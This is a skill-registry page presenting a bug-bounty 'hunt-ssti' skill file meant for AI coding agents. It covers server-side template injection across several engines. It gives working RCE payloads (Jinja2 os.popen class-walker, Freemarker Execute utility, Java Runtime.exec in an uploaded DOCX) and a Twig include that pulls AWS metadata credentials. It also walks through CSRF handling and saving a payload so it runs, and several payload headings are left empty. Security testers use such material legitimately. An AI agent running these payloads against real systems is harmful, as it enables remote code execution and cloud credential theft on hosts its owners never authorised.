murrtada/bug-bounty-agent-skills/hunt-ssti
Claude Code and agent skill by murrtada/bug-bounty-agent-skills
- community
Checking that the SKILL.md file is still in the repository.
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty. Detection probes use double-curly and dollar-curly math expressions evaluated server-side. Once an engine is fingerprinted, escalate to RCE via the engine-specific class-walker, callback-registrar, or Execute-utility patterns documented in disclosed reports. Detection patterns: error messages reveal engine, blank or numeric eval reve…
Install
npx vskill@latest install murrtada/bug-bounty-agent-skills/hunt-sstiSKILL.md
The same SKILL.md was published earlier as murrtada/bug-bounty-agent-skills/hunt-ssti.
14. SSTI — SERVER-SIDE TEMPLATE INJECTION
Easy to detect, high payout ($2K–$8K). Direct path to RCE.
Detection Payloads (try all)
RCE Payloads
Jinja2 (Python/Flask):
Twig (PHP/Symfony):
ERB (Ruby):
Where to Test
CMS / "documentation" template-editor forms (authenticated)
Some SSTI lives behind a logged-in template editor (CMS "edit template" / product-template / email-template preview). PortSwigger's "SSTI using documentation" class is this shape. Three things break a naive attempt:
- Fingerprint BEFORE firing RCE — the engine decides the syntax. Do NOT assume Jinja2. Probe the
whole matrix and read which one evaluates: `` ${7*7} → 49 AND #{7*7} → 49 ⇒ Freemarker (Java) ← {{7*7}} does NOTHING here {{7*7}} → 49 ⇒ Jinja2 / Twig <%= 7*7 %> → 49 ⇒ ERB (Ruby) *{7*7} → 49 ⇒ Thymeleaf (Spring) ` If {{77}}` renders literally but `${77}→49, you are on **Freemarker** — stop sending {{config...}}`.
- The record id is usually a QUERY param, not a body field. The editor form posts back to
POST /…/template?productId=N with the id in the URL. The BODY carries only csrf, template, and a template-action (preview | save). Putting the id in the body returns 400 "Missing product id". So keep the id in the query string (?productId=N) AND send a form-encoded body of csrf=…&template=<PAYLOAD>&template-action=preview.
- Re-fetch the CSRF each time and use `preview` to iterate. GET the editor page to read a fresh
csrf hidden field; template-action=preview renders your payload WITHOUT persisting (fast feedback loop). Switch to template-action=save only once the payload is right, then trigger the render (load the public page that uses the template) to fire the command.
Freemarker documentation RCE (the documented Execute utility — this IS the intended technique): `` <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") } ` Velocity equivalent: #set($e="e");$e.getClass().forName("java.lang.Runtime")...`.
Related Skills & Chains
- `hunt-rce` — SSTI is the easiest path to RCE on Python/Ruby/PHP/Java stacks because the template language already exposes the runtime. Chain primitive: Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}or Freemarker<#assign x="freemarker.template.utility.Execute"?new()>${x("id")}→ unauthenticated RCE as the rendering worker. Always escalate fingerprint → class-walker → cmd exec. - `hunt-xss` — When the template engine sandboxes the runtime (or you only get the rendered output back as HTML), the same
{{7*7}}reflection often still yields stored XSS. Chain primitive: sandboxed Jinja2 SSTI without escapes → inject<script>into rendered email template → stored XSS hitting every recipient who views the message. - `hunt-ssrf` — Template engines often expose URL fetchers/filters before they expose the runtime, giving you SSRF before RCE. Chain primitive: Twig
{{ include('http://169.254.169.254/latest/meta-data/iam/security-credentials/') }}or Jinja2 withurl_for/custom filters → AWS metadata exfil → cloud creds. - `hunt-file-upload` — Office docs, SVGs, and email templates uploaded by the user are common SSTI surfaces (the server re-renders them). Chain primitive: upload a DOCX whose
word/document.xmlcontains${T(java.lang.Runtime).getRuntime().exec("id")}to a Velocity/Freemarker-driven mail-merge → RCE. - `security-arsenal` — Reach for the engine-specific escape payload tree: Jinja2 class-walker variants (
__subclasses__()[N]index hunting), Twig_self.envregisterUndefinedFilterCallback, Freemarker?new()Execute, ERB backticks, Velocity$class.inspect, Smarty{php}...{/php}, plus the WAF-bypass variants ({{request|attr('application')|...}}, Unicode escapes,{%print(...)%}). - `triage-validation` — Apply the Pre-Severity Gate before claiming Critical RCE. A
{{7*7}} → 49reflection inside a sandboxed engine (e.g., Twig sandbox mode, Jinja2 SandboxedEnvironment with no escape) is Medium SSTI, not Critical RCE. Proveid/OOB DNS callback with a unique marker before writing the report.
Security
- Security scanPassed, 100 of 100Pattern checks on the skill's files.
- Model reviewNot runA model review is scheduled for the next rescan.
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingskills/hunt-ssti/SKILL.md
Popularity
- 7-day trend score
- 5
Not refreshed yet.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Cursor
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/murrtada/bug-bounty-agent-skills/hunt-ssti)